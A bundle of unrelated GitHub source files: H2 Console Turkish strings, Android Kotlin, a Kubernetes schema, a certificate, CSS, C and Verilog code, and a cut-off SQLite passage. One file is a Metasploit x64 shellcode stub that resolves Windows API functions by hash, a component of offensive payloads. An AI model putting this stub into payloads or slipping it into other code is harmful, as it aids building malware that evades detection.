adminTitle=H2 Konsol ayarları
adminTranslateHelp=H2 Kullanıcı arayüzünü (H2 Konsol) dilinize çevirin yada çeviriyi düzeltin.
adminTranslateStart=Çeviri
helpAction=Aksiyon
helpAddAnotherRow=Yeni bir satır ekle
helpAddDrivers=Veritabanı sürücüsü ekle
helpAddDriversText=Yeni veri tabanı sürücüleri eklemek için, sürücü dosyalarının yerini H2DRIVERS yada CLASSPATH çevre değişkenlerine ekleyebilirsiniz. Örnek (Windows): Sürücü dosyası C:/Programs/hsqldb/lib/hsqldb.jar ise H2DRIVERS değişkenini C:/Programs/hsqldb/lib/hsqldb.jar olarak girin.
helpAddRow=Veri tabanına yeni bir satır ekler
helpCommandHistory=Komut tarihçesini gösterir
helpCreateTable=Veri tabanına yeni bir tabela ekler
helpDeleteRow=Tabeladan satırı siler
helpDisconnect=Veri tabanı bağlantısını keser
helpDisplayThis=Bu yardım sayfasını gösterir
helpDropTable=Var ise, istenen tabelayı siler
helpExecuteCurrent=Girilen SQL komutunu icra eder
helpExecuteSelected=#Executes the SQL statement defined by the text selection
helpIcon=Şalter
helpImportantCommands=Önemli komutlar
helpOperations=İşlemler
helpQuery=Tabela içeriğini gösterir
helpSampleSQL=Örnek SQL
helpStatements=SQL komutları
helpUpdate=Bir tabeladaki belli bir satır içeriğini değiştirir
helpWithColumnsIdName=Colon isimleriyle birlikte
key.alt=#Alt
key.ctrl=#Ctrl
key.enter=#Enter
key.shift=#Shift
key.space=#Space
login.connect=Bağlan
login.driverClass=Veri tabanı sürücü sınıfı
login.driverNotFound=İstenilen veri tabanı sürücüsü bulunamadı<br />Sürücü ekleme konusunda bilgi için Yardım'a başvurunuz
login.goAdmin=Seçenekler
login.jdbcUrl=JDBC URL
login.language=Dil
login.login=Giriş
login.remove=Sil
login.save=Kaydet
login.savedSetting=Kayıtlı ayarlar
login.settingName=Ayar adı
login.testConnection=Bağlantıyı test et
login.testSuccessful=Test başarılı
login.welcome=H2 Konsolu
result.1row=1 dizi
result.autoCommitOff=Auto-Commit kapatıldı
result.autoCommitOn=Auto-Commit açıldı
result.bytes=#bytes
result.characters=#characters
result.maxrowsSet=Maximum dizi sayısı ayarı yapıldı
result.noRows=Hiç bir bilgi yok
result.noRunningStatement=Şu an bir komut icra ediliyor
result.rows=Dizi
result.statementWasCanceled=Komut iptal edildi
result.updateCount=Güncelleşterilen dizi sayısı
resultEdit.action=Aksiyon
resultEdit.add=Ekle
resultEdit.cancel=İptal
resultEdit.delete=Sil
resultEdit.edit=Değiştir
resultEdit.editResult=Değiştir
resultEdit.save=Kaydet
toolbar.all=Hepsi
toolbar.autoCommit=Auto-Commit
toolbar.autoComplete=Auto-Complete
toolbar.autoComplete.full=Hepsi
toolbar.autoComplete.normal=Normal
toolbar.autoComplete.off=Kapalı
toolbar.autoSelect=#Auto select
toolbar.autoSelect.off=Kapalı
toolbar.autoSelect.on=#On
toolbar.cancelStatement=Yürütülen işlemi iptal et
toolbar.clear=Temizle
toolbar.commit=Degişiklikleri kaydet
toolbar.disconnect=Bağlantıyı kes
toolbar.history=Verilmiş olan komutlar
toolbar.maxRows=Maximum dizi sayısı
toolbar.refresh=Güncelleştir
toolbar.rollback=Değişiklikleri geri al
toolbar.run=İşlemi yürüt
toolbar.runSelected=#Run Selected
toolbar.sqlStatement=SQL komutu
tools.backup=Yedekle
tools.backup.help=Bir veritabanının yedeklemesini yapar.
tools.changeFileEncryption=DosyaKodla
tools.changeFileEncryption.help=Veritabanının dosya kodlama şifresi ve türünü belirler.
tools.cipher=Şifreleme türü (AES yada XTEA)
tools.commandLine=Komut
tools.convertTraceFile=TraceDosyasiDönüştür
tools.convertTraceFile.help=Verilen bir trace.db dosyasını Java uygulamasına ve SQL-Betiğe çevirir.
tools.createCluster=KümeYarat
tools.createCluster.help=Bağımsız bir veritabanından bir küme (Cluster) yaratır.
tools.databaseName=Veritabanının adı
tools.decryptionPassword=Kod çözme şifresi
tools.deleteDbFiles=VeritabanıDosyalarınıSil
tools.deleteDbFiles.help=Bir veritabanına ait bütün dosyaları siler.
tools.directory=Dizelge
tools.encryptionPassword=Kodlama şifresi
tools.javaDirectoryClassName=Java dizelge ve sınıf adı
tools.recover=Kurtar
tools.recover.help=Bozuk bir veritabanının kurtarılmasına yardımcı olur.
tools.restore=YenidenY???#252kle
tools.restore.help=Bir veritabanının yedeklemesini yeniden yükler.
tools.result=Sonuç
tools.run=İşlemi yürüt
tools.runScript=BetikÇalıştır
tools.runScript.help=Bir betik dosyası çalıştırır.
tools.script=Betik
tools.script.help=Bir veritabanının yedekleme yada taşıma amaçlı SQL-Betiğe çevrilmesini sağlar
tools.scriptFileName=Betik dosya adı
tools.serverList=Hizmetçi listesi
tools.sourceDatabaseName=Kaynak veritabanının adı
tools.sourceDatabaseURL=Kaynak veritabanının URL'u
tools.sourceDirectory=Kaynak dizelge
tools.sourceFileName=Kaynak dosya adı
tools.sourceScriptFileName=Kaynak betik dosya adı
tools.targetDatabaseName=Hedef veritabanının adı
tools.targetDatabaseURL=Hedef veritabanının URL'u
tools.targetDirectory=Hedef dizelge
tools.targetFileName=Hedef dosya adı
tools.targetScriptFileName=Hedef betik dosya adı
tools.traceFileName=Trace dosya adı
tree.admin=Yönetici
tree.current=Güncel değer
tree.hashed=Hash tabanlı
tree.increment=Artır
tree.indexes=Indexler
tree.nonUnique=eşsiz değil
tree.sequences=Dizinler
tree.unique=Eşsiz
tree.users=Kullanıcı
|
{
"pile_set_name": "Github"
}
|
package dev.olog.media.widget
import android.content.Context
import android.util.AttributeSet
import android.widget.SeekBar
import androidx.appcompat.widget.AppCompatSeekBar
import dev.olog.media.R
import dev.olog.media.model.PlayerPlaybackState
import kotlinx.coroutines.flow.Flow
class CustomSeekBar(
context: Context,
attrs: AttributeSet
) : AppCompatSeekBar(context, attrs),
IProgressDeletegate {
private var isTouched = false
private var listener: OnSeekBarChangeListener? = null
private val delegate: IProgressDeletegate by lazy { ProgressDeletegate(this) }
init {
if (!isInEditMode){
max = Int.MAX_VALUE
}
}
fun setListener(
onProgressChanged: (Int) -> Unit,
onStartTouch: (Int) -> Unit,
onStopTouch: (Int) -> Unit
) {
listener = object : OnSeekBarChangeListener {
override fun onProgressChanged(seekBar: SeekBar?, progress: Int, fromUser: Boolean) {
onProgressChanged(progress)
}
override fun onStartTrackingTouch(seekBar: SeekBar) {
isTouched = true
onStartTouch(progress)
}
override fun onStopTrackingTouch(seekBar: SeekBar) {
isTouched = false
onStopTouch(progress)
}
}
setOnSeekBarChangeListener(null) // clear old listener
if (isAttachedToWindow) {
setOnSeekBarChangeListener(listener)
}
}
override fun onAttachedToWindow() {
super.onAttachedToWindow()
setOnSeekBarChangeListener(listener)
}
override fun onDetachedFromWindow() {
super.onDetachedFromWindow()
setOnSeekBarChangeListener(null)
stopAutoIncrement(0)
}
override fun setProgress(progress: Int) {
if (!isTouched) {
super.setProgress(progress)
}
}
override fun setProgress(progress: Int, animate: Boolean) {
if (!isTouched) {
super.setProgress(progress, animate)
}
}
override fun startAutoIncrement(startMillis: Int, speed: Float) {
delegate.startAutoIncrement(startMillis, speed)
}
override fun stopAutoIncrement(startMillis: Int) {
delegate.stopAutoIncrement(startMillis)
}
override fun onStateChanged(state: PlayerPlaybackState) {
delegate.onStateChanged(state)
}
override fun observeProgress(): Flow<Long> {
return delegate.observeProgress()
}
}
|
{
"pile_set_name": "Github"
}
|
{
"type": "object",
"$schema": "http://json-schema.org/schema#",
"x-kubernetes-group-version-kind": [
{
"Kind": "Namespace",
"Version": "v1",
"Group": ""
}
],
"description": "Namespace provides a scope for Names. Use of multiple namespaces is optional.",
"properties": {
"status": {
"additionalProperties": false,
"description": "NamespaceStatus is information about the current status of a Namespace.",
"properties": {
"phase": {
"type": [
"string",
"null"
],
"description": "Phase is the current lifecycle phase of the namespace. More info: http://releases.k8s.io/HEAD/docs/design/namespaces.md#phases"
}
}
},
"kind": {
"type": [
"string",
"null"
],
"description": "Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#types-kinds"
},
"spec": {
"additionalProperties": false,
"description": "NamespaceSpec describes the attributes on a Namespace.",
"properties": {
"finalizers": {
"items": {
"type": [
"string",
"null"
]
},
"type": [
"array",
"null"
],
"description": "Finalizers is an opaque list of values that must be empty to permanently remove object from storage. More info: http://releases.k8s.io/HEAD/docs/design/namespaces.md#finalizers"
}
}
},
"apiVersion": {
"type": [
"string",
"null"
],
"description": "APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#resources"
},
"metadata": {
"additionalProperties": false,
"description": "ObjectMeta is metadata that all persisted resources must have, which includes all objects users must create.",
"properties": {
"ownerReferences": {
"items": {
"additionalProperties": false,
"required": [
"apiVersion",
"kind",
"name",
"uid"
],
"description": "OwnerReference contains enough information to let you identify an owning object. Currently, an owning object must be in the same namespace, so there is no namespace field.",
"properties": {
"kind": {
"type": "string",
"description": "Kind of the referent. More info: http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#types-kinds"
},
"uid": {
"type": "string",
"description": "UID of the referent. More info: http://kubernetes.io/docs/user-guide/identifiers#uids"
},
"apiVersion": {
"type": "string",
"description": "API version of the referent."
},
"controller": {
"type": "boolean",
"description": "If true, this reference points to the managing controller."
},
"blockOwnerDeletion": {
"type": "boolean",
"description": "If true, AND if the owner has the \"foregroundDeletion\" finalizer, then the owner cannot be deleted from the key-value store until this reference is removed. Defaults to false. To set this field, a user needs \"delete\" permission of the owner, otherwise 422 (Unprocessable Entity) will be returned."
},
"name": {
"type": "string",
"description": "Name of the referent. More info: http://kubernetes.io/docs/user-guide/identifiers#names"
}
}
},
"type": [
"array",
"null"
],
"description": "List of objects depended by this object. If ALL objects in the list have been deleted, this object will be garbage collected. If this object is managed by a controller, then an entry in this list will point to this controller, with the controller field set to true. There cannot be more than one managing controller."
},
"name": {
"type": [
"string",
"null"
],
"description": "Name must be unique within a namespace. Is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. Name is primarily intended for creation idempotence and configuration definition. Cannot be updated. More info: http://kubernetes.io/docs/user-guide/identifiers#names"
},
"deletionTimestamp": {
"type": [
"string",
"null"
],
"format": "date-time"
},
"clusterName": {
"type": [
"string",
"null"
],
"description": "The name of the cluster which the object belongs to. This is used to distinguish resources with same name and namespace in different clusters. This field is not set anywhere right now and apiserver is going to ignore it if set in create or update request."
},
"deletionGracePeriodSeconds": {
"type": "integer",
"description": "Number of seconds allowed for this object to gracefully terminate before it will be removed from the system. Only set when deletionTimestamp is also set. May only be shortened. Read-only.",
"format": "int64"
},
"labels": {
"additionalProperties": {
"type": [
"string",
"null"
]
},
"type": "object",
"description": "Map of string keys and values that can be used to organize and categorize (scope and select) objects. May match selectors of replication controllers and services. More info: http://kubernetes.io/docs/user-guide/labels"
},
"namespace": {
"type": [
"string",
"null"
],
"description": "Namespace defines the space within each name must be unique. An empty namespace is equivalent to the \"default\" namespace, but \"default\" is the canonical representation. Not all objects are required to be scoped to a namespace - the value of this field for those objects will be empty.\n\nMust be a DNS_LABEL. Cannot be updated. More info: http://kubernetes.io/docs/user-guide/namespaces"
},
"generation": {
"type": "integer",
"description": "A sequence number representing a specific generation of the desired state. Populated by the system. Read-only.",
"format": "int64"
},
"finalizers": {
"items": {
"type": [
"string",
"null"
]
},
"type": [
"array",
"null"
],
"description": "Must be empty before the object is deleted from the registry. Each entry is an identifier for the responsible component that will remove the entry from the list. If the deletionTimestamp of the object is non-nil, entries in this list can only be removed."
},
"resourceVersion": {
"type": [
"string",
"null"
],
"description": "An opaque value that represents the internal version of this object that can be used by clients to determine when objects have changed. May be used for optimistic concurrency, change detection, and the watch operation on a resource or set of resources. Clients must treat these values as opaque and passed unmodified back to the server. They may only be valid for a particular resource or set of resources.\n\nPopulated by the system. Read-only. Value must be treated as opaque by clients and . More info: http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#concurrency-control-and-consistency"
},
"generateName": {
"type": [
"string",
"null"
],
"description": "GenerateName is an optional prefix, used by the server, to generate a unique name ONLY IF the Name field has not been provided. If this field is used, the name returned to the client will be different than the name passed. This value will also be combined with a unique suffix. The provided value has the same validation rules as the Name field, and may be truncated by the length of the suffix required to make the value unique on the server.\n\nIf this field is specified and the generated name exists, the server will NOT return a 409 - instead, it will either return 201 Created or 500 with Reason ServerTimeout indicating a unique name could not be found in the time allotted, and the client should retry (optionally after the time indicated in the Retry-After header).\n\nApplied only if Name is not specified. More info: http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#idempotency"
},
"creationTimestamp": {
"type": [
"string",
"null"
],
"format": "date-time"
},
"annotations": {
"additionalProperties": {
"type": [
"string",
"null"
]
},
"type": "object",
"description": "Annotations is an unstructured key value map stored with a resource that may be set by external tools to store and retrieve arbitrary metadata. They are not queryable and should be preserved when modifying objects. More info: http://kubernetes.io/docs/user-guide/annotations"
},
"selfLink": {
"type": [
"string",
"null"
],
"description": "SelfLink is a URL representing this object. Populated by the system. Read-only."
},
"uid": {
"type": [
"string",
"null"
],
"description": "UID is the unique in time and space value for this object. It is typically generated by the server on successful creation of a resource and is not allowed to change on PUT operations.\n\nPopulated by the system. Read-only. More info: http://kubernetes.io/docs/user-guide/identifiers#uids"
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
# -*- coding: binary -*-
require 'msf/core'
module Msf
###
#
# Basic block_api stubs for Windows ARCH_X64 payloads
#
###
module Payload::Windows::BlockApi_x64
def asm_block_api(opts={})
raw = %q^
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
^
end
end
end
|
{
"pile_set_name": "Github"
}
|
-----BEGIN CERTIFICATE-----
MIICSjCCAdSgAwIBAgIBAjANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAdSb290
IENBMCAXDTE2MDMyMDA2MjcyN1oYDzIxMTYwMzIxMDYyNzI3WjANMQswCQYDVQQD
DAJDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJadpD0ASxxfxsvd
j9IxsogVzMSGLFziaYuE9KejU9+R479RifvwfBANO62sNWJ19X//9G5UjwWmkiOz
n1k50DkYsBBA3mJzik6wjt/c58lBIlSEgAgpvDU8ht8w3t20JP9+YqXAeugqFj/W
l9rFQtsvaWSRywjXVlp5fxuEQelNnXcJEKhsKTNExsBUZebo4/J1BWpklWzA9P0l
YW5INvDAAwcF1nzlEf0Y6Eot03IMNyg2MTE4hehxjdgCSci8GYnFirE/ojXqqpAc
ZGh7r2dqWgZUD1Dh+bT2vjrUzj8eTH3GdzI+oljt29102JIUaqj3yzRYkah8FLF9
CLNNsUcCAwEAAaNQME4wHQYDVR0OBBYEFLQRM/HX4l73U54gIhBPhga/H8leMB8G
A1UdIwQYMBaAFFjzE/eu8wvKwzb2aODw52C+0gLVMAwGA1UdEwQFMAMBAf8wDQYJ
KoZIhvcNAQELBQADYQCZM1sSpIyjyuGirBYvezFryUq5EyZiME3HIHJ7AbmquPtE
LcoE8lwxEYXl7OTbLZHxIKkt6+WX2TL/0yshJLq/42nh5DZwyug7fIITmkzmzidF
rbnl7fIop7OJX/kELbY=
-----END CERTIFICATE-----
|
{
"pile_set_name": "Github"
}
|
/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */
// ==========================================================================
// Print styles.
// Inlined to avoid the additional HTTP request: h5bp.com/r
// ==========================================================================
@media print {
*,
*:before,
*:after {
background: transparent !important;
color: #000 !important; // Black prints faster: h5bp.com/s
box-shadow: none !important;
text-shadow: none !important;
}
a,
a:visited {
text-decoration: underline;
}
a[href]:after {
content: " (" attr(href) ")";
}
abbr[title]:after {
content: " (" attr(title) ")";
}
// Don't show links that are fragment identifiers,
// or use the `javascript:` pseudo protocol
a[href^="#"]:after,
a[href^="javascript:"]:after {
content: "";
}
pre,
blockquote {
border: 1px solid #999;
page-break-inside: avoid;
}
thead {
display: table-header-group; // h5bp.com/t
}
tr,
img {
page-break-inside: avoid;
}
img {
max-width: 100% !important;
}
p,
h2,
h3 {
orphans: 3;
widows: 3;
}
h2,
h3 {
page-break-after: avoid;
}
// Bootstrap specific changes start
// Bootstrap components
.navbar {
display: none;
}
.btn,
.dropup > .btn {
> .caret {
border-top-color: #000 !important;
}
}
.label {
border: 1px solid #000;
}
.table {
border-collapse: collapse !important;
td,
th {
background-color: #fff !important;
}
}
.table-bordered {
th,
td {
border: 1px solid #ddd !important;
}
}
// Bootstrap specific changes end
}
|
{
"pile_set_name": "Github"
}
|
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is Mozilla Communicator client code.
*
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
*
* Alternatively, the contents of this file may be used under the terms of
* either of the GNU General Public License Version 2 or later (the "GPL"),
* or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
#ifndef nsIPlatformCharset_h__
#define nsIPlatformCharset_h__
#include "nsString.h"
#include "nsISupports.h"
// Interface ID for our nsIPlatformCharset interface
/* 778859d5-fc01-4f4b-bfaa-3c0d1b6c81d6 */
#define NS_IPLATFORMCHARSET_IID \
{ 0x778859d5, \
0xfc01, \
0x4f4b, \
{0xbf, 0xaa, 0x3c, 0x0d, 0x1b, 0x6c, 0x81, 0xd6} }
#define NS_PLATFORMCHARSET_CID \
{ 0x84b0f182, 0xc6c7, 0x11d2, {0xb3, 0xb0, 0x0, 0x80, 0x5f, 0x8a, 0x66, 0x70 }}
#define NS_PLATFORMCHARSET_CONTRACTID "@mozilla.org/intl/platformcharset;1"
typedef enum {
kPlatformCharsetSel_PlainTextInClipboard = 0,
kPlatformCharsetSel_FileName = 1,
kPlatformCharsetSel_Menu = 2,
kPlatformCharsetSel_4xBookmarkFile = 3,
kPlatformCharsetSel_KeyboardInput = 4,
kPlatformCharsetSel_WindowManager = 5,
kPlatformCharsetSel_4xPrefsJS = 6,
kPlatformCharsetSel_PlainTextInFile = 7
} nsPlatformCharsetSel;
class nsIPlatformCharset : public nsISupports
{
public:
NS_DEFINE_STATIC_IID_ACCESSOR(NS_IPLATFORMCHARSET_IID)
NS_IMETHOD GetCharset(nsPlatformCharsetSel selector, nsACString& oResult) = 0;
NS_IMETHOD GetDefaultCharsetForLocale(const nsAString& localeName, nsACString& oResult) = 0;
};
#endif /* nsIPlatformCharset_h__ */
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2000-2012 Bluespec, Inc.
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// $Revision$
// $Date$
`ifdef BSV_ASSIGNMENT_DELAY
`else
`define BSV_ASSIGNMENT_DELAY
`endif
`ifdef BSV_POSITIVE_RESET
`define BSV_RESET_VALUE 1'b1
`define BSV_RESET_EDGE posedge
`else
`define BSV_RESET_VALUE 1'b0
`define BSV_RESET_EDGE negedge
`endif
`ifdef BSV_ASYNC_RESET
`define BSV_ARESET_EDGE_META or `BSV_RESET_EDGE RST
`else
`define BSV_ARESET_EDGE_META
`endif
`ifdef BSV_RESET_FIFO_HEAD
`define BSV_ARESET_EDGE_HEAD `BSV_ARESET_EDGE_META
`else
`define BSV_ARESET_EDGE_HEAD
`endif
// Depth 1 FIFO
module FIFO1(CLK,
RST,
D_IN,
ENQ,
FULL_N,
D_OUT,
DEQ,
EMPTY_N,
CLR
);
parameter width = 1;
parameter guarded = 1;
input CLK;
input RST;
input [width - 1 : 0] D_IN;
input ENQ;
input DEQ;
input CLR ;
output FULL_N;
output [width - 1 : 0] D_OUT;
output EMPTY_N;
reg [width - 1 : 0] D_OUT;
reg empty_reg ;
assign EMPTY_N = empty_reg ;
`ifdef BSV_NO_INITIAL_BLOCKS
`else // not BSV_NO_INITIAL_BLOCKS
// synopsys translate_off
initial
begin
D_OUT = {((width + 1)/2) {2'b10}} ;
empty_reg = 1'b0 ;
end // initial begin
// synopsys translate_on
`endif // BSV_NO_INITIAL_BLOCKS
assign FULL_N = !empty_reg;
always@(posedge CLK `BSV_ARESET_EDGE_META)
begin
if (RST == `BSV_RESET_VALUE)
begin
empty_reg <= `BSV_ASSIGNMENT_DELAY 1'b0;
end // if (RST == `BSV_RESET_VALUE)
else
begin
if (CLR)
begin
empty_reg <= `BSV_ASSIGNMENT_DELAY 1'b0;
end // if (CLR)
else if (ENQ)
begin
empty_reg <= `BSV_ASSIGNMENT_DELAY 1'b1;
end // if (ENQ)
else if (DEQ)
begin
empty_reg <= `BSV_ASSIGNMENT_DELAY 1'b0;
end // if (DEQ)
end // else: !if(RST == `BSV_RESET_VALUE)
end // always@ (posedge CLK or `BSV_RESET_EDGE RST)
always@(posedge CLK `BSV_ARESET_EDGE_HEAD)
begin
`ifdef BSV_RESET_FIFO_HEAD
if (RST == `BSV_RESET_VALUE)
begin
D_OUT <= `BSV_ASSIGNMENT_DELAY {width {1'b0}} ;
end
else
`endif
begin
if (ENQ)
D_OUT <= `BSV_ASSIGNMENT_DELAY D_IN;
end // else: !if(RST == `BSV_RESET_VALUE)
end // always@ (posedge CLK or `BSV_RESET_EDGE RST)
// synopsys translate_off
always@(posedge CLK)
begin: error_checks
reg deqerror, enqerror ;
deqerror = 0;
enqerror = 0;
if (RST == ! `BSV_RESET_VALUE)
begin
if ( ! empty_reg && DEQ )
begin
deqerror = 1 ;
$display( "Warning: FIFO1: %m -- Dequeuing from empty fifo" ) ;
end
if ( ! FULL_N && ENQ && (!DEQ || guarded) )
begin
enqerror = 1 ;
$display( "Warning: FIFO1: %m -- Enqueuing to a full fifo" ) ;
end
end // if (RST == ! `BSV_RESET_VALUE)
end
// synopsys translate_on
endmodule
|
{
"pile_set_name": "Github"
}
|
/*
** 2004 May 26
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** This file contains code use to implement APIs that are part of the
** VDBE.
*/
#include "sqliteInt.h"
#include "vdbeInt.h"
#ifndef SQLITE_OMIT_DEPRECATED
/*
** Return TRUE (non-zero) of the statement supplied as an argument needs
** to be recompiled. A statement needs to be recompiled whenever the
** execution environment changes in a way that would alter the program
** that sqlite3_prepare() generates. For example, if new functions or
** collating sequences are registered or if an authorizer function is
** added or changed.
*/
int sqlite3_expired(sqlite3_stmt *pStmt){
Vdbe *p = (Vdbe*)pStmt;
return p==0 || p->expired;
}
#endif
/*
** Check on a Vdbe to make sure it has not been finalized. Log
** an error and return true if it has been finalized (or is otherwise
** invalid). Return false if it is ok.
*/
static int vdbeSafety(Vdbe *p){
if( p->db==0 ){
sqlite3_log(SQLITE_MISUSE, "API called with finalized prepared statement");
return 1;
}else{
return 0;
}
}
static int vdbeSafetyNotNull(Vdbe *p){
if( p==0 ){
sqlite3_log(SQLITE_MISUSE, "API called with NULL prepared statement");
return 1;
}else{
return vdbeSafety(p);
}
}
#ifndef SQLITE_OMIT_TRACE
/*
** Invoke the profile callback. This routine is only called if we already
** know that the profile callback is defined and needs to be invoked.
*/
static SQLITE_NOINLINE void invokeProfileCallback(sqlite3 *db, Vdbe *p){
sqlite3_int64 iNow;
sqlite3_int64 iElapse;
assert( p->startTime>0 );
assert( db->xProfile!=0 || (db->mTrace & SQLITE_TRACE_PROFILE)!=0 );
assert( db->init.busy==0 );
assert( p->zSql!=0 );
sqlite3OsCurrentTimeInt64(db->pVfs, &iNow);
iElapse = (iNow - p->startTime)*1000000;
if( db->xProfile ){
db->xProfile(db->pProfileArg, p->zSql, iElapse);
}
if( db->mTrace & SQLITE_TRACE_PROFILE ){
db->xTrace(SQLITE_TRACE_PROFILE, db->pTraceArg, p, (void*)&iElapse);
}
p->startTime = 0;
}
/*
** The checkProfileCallback(DB,P) macro checks to see if a profile callback
** is needed, and it invokes the callback if it is needed.
*/
# define checkProfileCallback(DB,P) \
if( ((P)->startTime)>0 ){ invokeProfileCallback(DB,P); }
#else
# define checkProfileCallback(DB,P) /*no-op*/
#endif
/*
** The following routine destroys a virtual machine that is created by
